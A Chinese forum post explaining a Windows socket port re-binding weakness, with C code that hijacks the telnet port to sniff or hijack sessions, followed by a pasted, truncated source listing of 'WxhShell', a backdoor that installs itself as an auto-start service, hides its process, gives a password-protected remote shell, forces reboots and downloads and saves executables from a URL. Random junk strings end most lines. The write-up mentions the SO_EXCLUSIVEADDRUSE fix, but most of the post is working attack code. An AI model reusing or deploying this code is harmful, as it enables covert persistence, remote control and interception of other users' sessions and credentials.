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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~%eE%5!k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =sefT@<  
!ZvVj\{  
  saddr.sin_family = AF_INET; %d40us8E  
^f-)gZ&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2I& dTxIa  
DY{v@ <3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); G)c+GoK  
<a&xhG}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aQf2}kD  
 R0F [  
  这意味着什么?意味着可以进行如下的攻击: .726^2sx  
y?A*$6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -B! a O65^  
)?$@cvf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) AK%&Kq&PaY  
cLvnLaA}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lj:.}+]r  
w=: c7Y+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p#-=mXE/2  
mAY/J0_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >j*0fb!:]  
s{{8!Q  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 'tcve2Tt  
zAvI f  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @<X[,Mj  
,fN <I  
  #include A$n.'*gK  
  #include g& f)WQ(  
  #include -3wid1SOm  
  #include    g_k95k3V'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )OucJQ  
  int main() 0pl'*r*9  
  { "u&7Y:)^wr  
  WORD wVersionRequested; \2#K {  
  DWORD ret; Pn4jI(  
  WSADATA wsaData; "Mv^S'?>  
  BOOL val; q[}r e2  
  SOCKADDR_IN saddr; 2V$Jn8v,`{  
  SOCKADDR_IN scaddr; lUp%1x+  
  int err; vjh'<5w9Wi  
  SOCKET s; vpOGyvI  
  SOCKET sc; ^k{/Yl  
  int caddsize; 4:733Q3oK  
  HANDLE mt; m=/HUt3(&0  
  DWORD tid;   p_e x  
  wVersionRequested = MAKEWORD( 2, 2 ); $:1/`m19  
  err = WSAStartup( wVersionRequested, &wsaData ); Ov4 [gHy&  
  if ( err != 0 ) { 4>fj @X(3  
  printf("error!WSAStartup failed!\n"); g>'6"p;  
  return -1; H 8 6 6,]  
  } e=IbEm{|  
  saddr.sin_family = AF_INET; "LW\osjen  
   KL9JA; "  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 k.Gt }\6zP  
oL }d=x/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); HU|qeSyel  
  saddr.sin_port = htons(23); ZtP/|P5@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o8IqO'  
  { 5p:2gsk  
  printf("error!socket failed!\n"); mo= @Zt  
  return -1; <7B;_3/  
  } /R?*i@rvf  
  val = TRUE; G&MO(r}B  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z![#Uz.z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aHI~@  
  { I")Ud?v0)  
  printf("error!setsockopt failed!\n"); s?nj@:4  
  return -1; S;2UcSsQl  
  } D+oV( Pw,  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; {ehYE^%N  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x^Qij!mB%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 gvo5^O+)HH  
uH7rt  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1DL+=-  
  { jGJf[:M&Pm  
  ret=GetLastError(); +9' )G-`qj  
  printf("error!bind failed!\n"); pCa~:q*85  
  return -1; rq1~%S  
  } EG8z&^O x  
  listen(s,2); vl|3WYA  
  while(1) z~v-8aw  
  { k<f0moxs'  
  caddsize = sizeof(scaddr); F8{T/YhZ  
  //接受连接请求 66+]D4(k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9)j"|5H  
  if(sc!=INVALID_SOCKET) KBI 1t$  
  { <Nc9F['&#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  :J)^gc  
  if(mt==NULL) 3O2vY1Y2  
  { %$Q!'+YW  
  printf("Thread Creat Failed!\n"); 0TICv2l!  
  break; VeQ [A?pER  
  } 1hV&/Qr  
  } /w2IL7}  
  CloseHandle(mt); ~{kA;uw  
  } >SYOtzg%  
  closesocket(s); P>x88M  
  WSACleanup(); 7ruWmy;j  
  return 0; >Yv#t.!  
  }   Qt^6w}&  
  DWORD WINAPI ClientThread(LPVOID lpParam) Ls.g\Gl3  
  { BP4vOZ0$  
  SOCKET ss = (SOCKET)lpParam; ?o/p}6  
  SOCKET sc; ilQ\+xR{b  
  unsigned char buf[4096]; a"1LF`  
  SOCKADDR_IN saddr; miCY?=N`  
  long num; 7Bf4ojKt  
  DWORD val; o(t`XE['<  
  DWORD ret; &qa16bz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZC^?ng  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *S4&V<W>  
  saddr.sin_family = AF_INET; 6+PP(>em  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dPgA~~  
  saddr.sin_port = htons(23); y6s/S.  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Vt9o8naz  
  { E!I4I'  
  printf("error!socket failed!\n"); A?)(^  
  return -1; nRX<$OzTV  
  } 3z8zZ1uzU  
  val = 100; l|9'l[}&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f\~w!-  
  { xu;^F  
  ret = GetLastError(); PM {L}tEQ  
  return -1; :X*uE^bH  
  } l?;ReK.r  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f9n4/(C y  
  { )oS~ish  
  ret = GetLastError(); d{C8}U  
  return -1; U2JxzHXZ  
  } y>RqA *J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) j{zVVT  
  { ' 94HVag  
  printf("error!socket connect failed!\n"); T16B2|C"Y  
  closesocket(sc); `X`|]mWj  
  closesocket(ss); kYd=DY  
  return -1; 2Paw*"U  
  } #KtV4)(  
  while(1) P|aSbsk:I<  
  { FOcDBCrOe  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ab6D&  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Mq6_Q07  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `]Vn[^?D  
  num = recv(ss,buf,4096,0); $,T3vX]<  
  if(num>0) .3 ^*_  
  send(sc,buf,num,0); q#Ik3 5  
  else if(num==0) Yc(lY N  
  break; _ `7[}M~  
  num = recv(sc,buf,4096,0); Pp|pH|(n ,  
  if(num>0) fK=vLcH  
  send(ss,buf,num,0); wp-3U}P2(  
  else if(num==0) 23q2u6.F`  
  break; 3v<9 Z9O  
  } rO1.8KKJ  
  closesocket(ss); N=:xyv  
  closesocket(sc); u)ZZ/|  
  return 0 ; ['0^gN$:e  
  } IRI<no  
c;R .rV<  
8EI&}I  
========================================================== Z,b^f Vw  
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下边附上一个代码,,WXhSHELL 1+Y; "tT  
.fY$$aD$4  
========================================================== s|"4!{It  
nON "+c*  
#include "stdafx.h" v/wR) 9  
061f  
#include <stdio.h> Ob -k`@_|  
#include <string.h> )v.\4Q4  
#include <windows.h> ]JI A\|b6  
#include <winsock2.h> 0j{KZy  
#include <winsvc.h> a3(f\MM xE  
#include <urlmon.h> y? 65*lUl  
 aK9zw  
#pragma comment (lib, "Ws2_32.lib") MK4CggoC  
#pragma comment (lib, "urlmon.lib") '}NH$ KA  
c-a;nAR  
#define MAX_USER   100 // 最大客户端连接数 %M05& <  
#define BUF_SOCK   200 // sock buffer {|@N~c+  
#define KEY_BUFF   255 // 输入 buffer Wy$Q!R=i  
\G1(r=fU  
#define REBOOT     0   // 重启 /M_kJe,%  
#define SHUTDOWN   1   // 关机 DRi/<  
5wMEp" YHE  
#define DEF_PORT   5000 // 监听端口 faI4`.i  
w~*"mZaG  
#define REG_LEN     16   // 注册表键长度 TUVqQ\oF:  
#define SVC_LEN     80   // NT服务名长度 s-xby~  
VnMiZAHR  
// 从dll定义API 8m) E~6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OB ~74}3;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ga^k1TQq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); , Onu%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); F ?TmOa0  
6~q"#94  
// wxhshell配置信息 H\e<fi%Q  
struct WSCFG { QgX[?2  
  int ws_port;         // 监听端口 N&lKo}hk  
  char ws_passstr[REG_LEN]; // 口令 \[x4  
  int ws_autoins;       // 安装标记, 1=yes 0=no 9L9mi<,  
  char ws_regname[REG_LEN]; // 注册表键名 <i1P~  
  char ws_svcname[REG_LEN]; // 服务名 q0 8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [ x|{VJ(h  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &,`P%a&k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %bUpVyi!(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no GEi^3UD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R2[!h1nZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Rd*/J~TK  
"mkTCR^]e  
}; ,cFp5tV$  
(tP^F)}e5  
// default Wxhshell configuration o>Z+=&BZ@a  
struct WSCFG wscfg={DEF_PORT, $(%t^8{a~G  
    "xuhuanlingzhe", sQe>LNp,G  
    1, 5=Y\d,SS"  
    "Wxhshell", bpe WK&  
    "Wxhshell", _Msaub!N  
            "WxhShell Service", \Tj(]  
    "Wrsky Windows CmdShell Service", bga2{<VF  
    "Please Input Your Password: ", :dzam HbX9  
  1, -n~VMLd?@  
  "http://www.wrsky.com/wxhshell.exe", 1{S" axSL  
  "Wxhshell.exe" K&noA  
    }; b}r3x&)  
~UJ_Rr54  
// 消息定义模块 KcjP39@I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I*K~GXWs#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; DavG=kvd  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; th*E"@  
char *msg_ws_ext="\n\rExit."; JEes'H}Y  
char *msg_ws_end="\n\rQuit."; z '%Vy  
char *msg_ws_boot="\n\rReboot..."; ?5 d3k%  
char *msg_ws_poff="\n\rShutdown..."; 5ERycC y  
char *msg_ws_down="\n\rSave to "; C zvi':  
WChJ <[]W  
char *msg_ws_err="\n\rErr!"; D*j\gI  
char *msg_ws_ok="\n\rOK!"; QRv2%^L  
r yO\$m  
char ExeFile[MAX_PATH]; 6y9#am?  
int nUser = 0; ToVm]zPOUt  
HANDLE handles[MAX_USER]; : LI*#~'Ka  
int OsIsNt; vQ}llA h  
w#,C{6  
SERVICE_STATUS       serviceStatus; rB:W\5~7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b fsTeW+  
*^u5?{$l(  
// 函数声明 Kq;Yb&  
int Install(void); FiqcM-Af4  
int Uninstall(void); R{hKl#j;>  
int DownloadFile(char *sURL, SOCKET wsh); f+huhJS5e  
int Boot(int flag); gI^*O@Q4{b  
void HideProc(void); .gWYKZM  
int GetOsVer(void); 5A6d]  
int Wxhshell(SOCKET wsl); >2~q{e  
void TalkWithClient(void *cs); 6l>$N?a  
int CmdShell(SOCKET sock); xGeRoW(X  
int StartFromService(void); Y75,{1\l0  
int StartWxhshell(LPSTR lpCmdLine); RW|3d<Fj  
Y m|zM1qc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >%.6n:\rG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PQ|kE`'  
}ya9 +?I  
// 数据结构和表定义 pRj1b^F5y  
SERVICE_TABLE_ENTRY DispatchTable[] = D[)g-_3f6<  
{ #^v|u3^DD  
{wscfg.ws_svcname, NTServiceMain}, ]|[oL6"  
{NULL, NULL} ;Z"6ve4  
}; ]J C}il_b  
MI@id  
// 自我安装 ?j8F5(HF?  
int Install(void) B@l/'$G  
{ ;%AK< RT  
  char svExeFile[MAX_PATH]; xS`>[8?3<T  
  HKEY key; g Xvuv^  
  strcpy(svExeFile,ExeFile); kfBVF%90  
V Z;ASA?;  
// 如果是win9x系统,修改注册表设为自启动 -[4Xg!apO  
if(!OsIsNt) { @%K@oDL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (&FSoe/!['  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cv|ya$}a  
  RegCloseKey(key); r"a0!]n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gYx|Na,+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y zSUJ=0/  
  RegCloseKey(key); 8|w_PP1oE  
  return 0; iP;X8'< BC  
    } 0zaE?dA]  
  } (<pc4#B@*  
} =$IjN v(?  
else { 40oRO0p  
m-UI^M,@<  
// 如果是NT以上系统,安装为系统服务 nqt;Ge M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &V[m{.  
if (schSCManager!=0) 2*5Z| 3aX  
{ ~w'M8(  
  SC_HANDLE schService = CreateService t+5JIQY>  
  ( [C)-=.Xx)j  
  schSCManager, Qj?FUxw  
  wscfg.ws_svcname, $z]gy]F  
  wscfg.ws_svcdisp, Cw`v\ 9  
  SERVICE_ALL_ACCESS, E3y"  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g&H6~ +\  
  SERVICE_AUTO_START, ewSFB< N  
  SERVICE_ERROR_NORMAL, T"XP`gk  
  svExeFile, G_g~-[O  
  NULL, J A ]s  
  NULL, #n 7uw  
  NULL, "EQ-`b=I4  
  NULL, X6/k `J  
  NULL E/9 U0  
  ); _ pM&Ya  
  if (schService!=0) C$xU!9K[+  
  { _gjsAbM  
  CloseServiceHandle(schService); e7ixi^Q  
  CloseServiceHandle(schSCManager); G@anY=D\EB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )%U&z>^P  
  strcat(svExeFile,wscfg.ws_svcname); 9Nglt3J[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <1Vz QH!o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1_THBL26d  
  RegCloseKey(key); %< JjftNQ  
  return 0; P7(+{d{  
    } JGp~A#H&  
  } &+=A;Y)  
  CloseServiceHandle(schSCManager); EUU9JnQhBJ  
} C+$dm)M/q  
} PBb@J'b  
>n)N=Zyu  
return 1; V4}9f5FR  
} RX%*:lXi_  
!MNUp(:  
// 自我卸载 w%)=`'s_  
int Uninstall(void) 6|t4\'  
{ BCk$FM@  
  HKEY key; iVzv/Lqm1  
~oh=QakW  
if(!OsIsNt) { -@-cG\{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .xuLvNyQr  
  RegDeleteValue(key,wscfg.ws_regname); $$2\qN -  
  RegCloseKey(key); Zi[@xG8dm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _=XzQZT!L  
  RegDeleteValue(key,wscfg.ws_regname); h*{{_3,  
  RegCloseKey(key); qC40/1-m8K  
  return 0; EX7cjQsml  
  } i=@.u=:  
} *[(O&L&0  
} fP%hr gL  
else { >Qz#;HI  
$ckX H,l_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9 W> <m[O  
if (schSCManager!=0) 7\'vSHIL  
{ @;M( oFS9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3Ln~"HwP  
  if (schService!=0) V= U=  
  { i2/:' i  
  if(DeleteService(schService)!=0) { Zh]d&Xeq  
  CloseServiceHandle(schService); Glcl7f"<^  
  CloseServiceHandle(schSCManager); &xMR{:  
  return 0; ={-\)j  
  } 0F6^[osqtl  
  CloseServiceHandle(schService); h #Od tc1)  
  } y.26:c(  
  CloseServiceHandle(schSCManager); =O1N*'e  
} ngj=w;7~+  
} }9 N, +*  
\1hbCv$Hf  
return 1; u{yENZ^P  
} [ /w{,+U  
cHs@1R/-s  
// 从指定url下载文件 $R%xeih1fz  
int DownloadFile(char *sURL, SOCKET wsh) pHEhB9_A!  
{ YA O, rh  
  HRESULT hr; Wo2TU!  
char seps[]= "/"; 8i=J(5=  
char *token; 2ixg ix  
char *file; }BS.OK?  
char myURL[MAX_PATH]; %*lOzC  
char myFILE[MAX_PATH]; T~7i:<E^  
>xws  
strcpy(myURL,sURL); gEbe6!; q3  
  token=strtok(myURL,seps); a H'iW)  
  while(token!=NULL) QpwOrxI}  
  { t/LQ|/xo  
    file=token; fGHYs  
  token=strtok(NULL,seps); oE[wOq +  
  } j<>E Fd  
#ok1qT9_  
GetCurrentDirectory(MAX_PATH,myFILE); 4=td}%  
strcat(myFILE, "\\"); I4:4)V?  
strcat(myFILE, file); kB {  
  send(wsh,myFILE,strlen(myFILE),0); o8.KakrPP  
send(wsh,"...",3,0); 0m $f9b|Q?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^A dHP!I  
  if(hr==S_OK) O%;H#3kn&s  
return 0; %eB0 )'  
else |} ;&xI  
return 1; ,3 &XV%1  
lfp[(Ph)9  
} &[$qA  
eRc+.m[  
// 系统电源模块 Qyvn A|&  
int Boot(int flag) C']TO/2q  
{ q,3_)ZOq  
  HANDLE hToken; |9T3" _MmJ  
  TOKEN_PRIVILEGES tkp; nfET;:{  
KWbnSL8  
  if(OsIsNt) { ?pn<lW8d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D*BZp0x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .|iMKRq  
    tkp.PrivilegeCount = 1; iZ % KHqG  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "{1`~pDj?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8TGO6oY+=  
if(flag==REBOOT) { V TQ V]>|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YyEW}2  
  return 0; cih@: =Qy  
} |VxEW U/  
else { VI7f}  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) )Kkw$aQI"d  
  return 0; Z&9MtpC+N3  
} 1$T;u~vg  
  } k=1([x  
  else {  al/Mgo  
if(flag==REBOOT) { 9o5W\.A7[D  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ef8_w6i  
  return 0; P,U$ X+  
} =lY6v -MBw  
else { BH6)`0&2*N  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qniP`P4E  
  return 0; )Be?axI  
} d5h]yIz^  
} 3<.]+ukm  
(?R;u>  
return 1; )@+lfIE(l  
} VWDXEa9  
^Z1t'-xZ  
// win9x进程隐藏模块 mOgsO  
void HideProc(void) &AM<H}>  
{ 7R9.g6j  
qNb|6/DG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f d~a\5%e  
  if ( hKernel != NULL ) hbl%<ItI49  
  { (1pI#H"f9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /Iht,@%E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \1|]?ZQ\K  
    FreeLibrary(hKernel); !-%fCg(B  
  } I3sH8/*  
gwVfiXR4  
return; wMFo8;L  
} -7jP'l=h  
J |4q9$  
// 获取操作系统版本 xS.Rpx/8  
int GetOsVer(void) '](4g/%  
{ T,N"8N{K"  
  OSVERSIONINFO winfo; rHe*/nN%*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M]9oSi  
  GetVersionEx(&winfo); I#lvaoeN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b^ wWg  
  return 1; R-odc,P=  
  else L(Ww6oj  
  return 0; O`Ht|@[6  
} CUJP"u>8M  
:eIPPh|\  
// 客户端句柄模块 &XG k  
int Wxhshell(SOCKET wsl) 5A|4  
{ vwy10PlqL  
  SOCKET wsh; UrAg*v!Qy  
  struct sockaddr_in client; V.<$c1#=$  
  DWORD myID; >JdA,i}1  
>6 p <n  
  while(nUser<MAX_USER) ~9#x/EG/  
{ 5gP<+S#>T  
  int nSize=sizeof(client); F:$Dz?F0v  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'zYKG5A  
  if(wsh==INVALID_SOCKET) return 1; "V/|RC  
]LGp3)T-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C\.mv|aW~  
if(handles[nUser]==0) :CH*~o  
  closesocket(wsh); \1` L-lz  
else e|Ip7`  
  nUser++; "F_o%!l  
  } 6@0 wKV!D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1X-KuGaD  
aJh=4j~.  
  return 0; x0t&hY>P!  
} [s1Hd~$  
>| d^  
// 关闭 socket +a'QHtg  
void CloseIt(SOCKET wsh) .-kqt^Gc  
{ PqOy"HO  
closesocket(wsh); 5<0d2bK$  
nUser--; \)?mIwo7~  
ExitThread(0); L|sWSrqd  
} Ub1?dk   
Y-8qAF?SJ]  
// 客户端请求句柄 5Gj?'Wov9  
void TalkWithClient(void *cs) Y>OL2g  
{ k:?+75?$  
eFO+@  
  SOCKET wsh=(SOCKET)cs; n])-+[F  
  char pwd[SVC_LEN]; M~&|-Hm  
  char cmd[KEY_BUFF]; #3uBq(-Z  
char chr[1]; >z=_V|^$  
int i,j; ZqI.n4:9  
x.>E7 +  
  while (nUser < MAX_USER) { >{DHW1kF?  
fVR:m`'Iq_  
if(wscfg.ws_passstr) {  eiLtZQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WA);Z=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U3ygFW%  
  //ZeroMemory(pwd,KEY_BUFF); 3J\NkaSR  
      i=0; ^RN1?dXA  
  while(i<SVC_LEN) { 6r"PtHr  
rWN#QL()*  
  // 设置超时 3YY<2<  
  fd_set FdRead; WIwbf|\  
  struct timeval TimeOut; ;bt@wgY  
  FD_ZERO(&FdRead); E)(`Z0  
  FD_SET(wsh,&FdRead); ] o!#]]   
  TimeOut.tv_sec=8; j/zD`yd j  
  TimeOut.tv_usec=0; `_2#t1`u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +MQvq\%tG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7f4R5c  
S}"?#=Q.%O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pn{yk`6E  
  pwd=chr[0]; -KRHcr \  
  if(chr[0]==0xd || chr[0]==0xa) { @5gZK[?|I  
  pwd=0; ?FRR";  
  break; Y^dVNC3vd  
  } Q*TxjE7K  
  i++; D3^[OHi~a  
    } h;vD"!gP  
? Azpb}#  
  // 如果是非法用户,关闭 socket (vIrXF5Dnj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )k&pp^q\  
} ujcS>XN,1  
`92 D]^g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ArkFC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c%.f|/.k  
9X&Xs/B  
while(1) { >/"XX,3  
%EPqJ(T  
  ZeroMemory(cmd,KEY_BUFF); c ;3bX6RD*  
PN:8H>  
      // 自动支持客户端 telnet标准   /p,D01Ws}(  
  j=0; 3 )f=Z2U>  
  while(j<KEY_BUFF) { (PYUfiOf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LvpHR#K)F5  
  cmd[j]=chr[0]; T0_9:I`&  
  if(chr[0]==0xa || chr[0]==0xd) { wAHb 5>!  
  cmd[j]=0; syh0E= If_  
  break; |-7<?aw"  
  } GS{:7%=j  
  j++; <$.KCLP  
    } 4Uz:zB  
#e%.z+7I  
  // 下载文件 aMTY{  
  if(strstr(cmd,"http://")) { ]P0DPea  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C# r_qn  
  if(DownloadFile(cmd,wsh)) RCt)qh+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @"9y\1u  
  else e,E;\x &  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^a`zvrE v  
  } Xi5kE'_  
  else { [ hj|8)  
ZLvw]N&R  
    switch(cmd[0]) { :Puv8[1i  
  |xzqYu?o  
  // 帮助 +!POKr  
  case '?': { 6,G^iv6H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 5q]u:  
    break; {s8''+Q#(-  
  } 'D(Hqdr;:  
  // 安装 n#3y2,Ml  
  case 'i': { eEsEW<su  
    if(Install()) 9szE^kHS9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )I+1 b !U  
    else SU# S'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |~H'V4)zXu  
    break; se_zCS4Y  
    } ^F?H)[0  
  // 卸载 _0F6mg n  
  case 'r': { IJ, ,aCj4g  
    if(Uninstall()) VhSKtD1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7\ff=L-b  
    else }VR&*UJE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M _U$I7  
    break; BHj]w*Ov  
    } 9+QLcb  
  // 显示 wxhshell 所在路径 NtTLvO6  
  case 'p': { =mqV&FgRo  
    char svExeFile[MAX_PATH]; l O, 2  
    strcpy(svExeFile,"\n\r"); Cw{#(xX  
      strcat(svExeFile,ExeFile); %o4d4 3uZ  
        send(wsh,svExeFile,strlen(svExeFile),0); *ep!gT*4  
    break; Tf@t.4\  
    } Q\=u2}/z0  
  // 重启 *MagicA  
  case 'b': { ZJ=C[s!wu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); MPzqw)_-v  
    if(Boot(REBOOT)) (%0X\zvu/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d c&Qi_W  
    else { BpP\C!:^  
    closesocket(wsh); !+)$;`  
    ExitThread(0); `*oLEXYN  
    } ^DZiz[X+|  
    break; g8kw|BgnL  
    } /LSiDys  
  // 关机 66L*6O4  
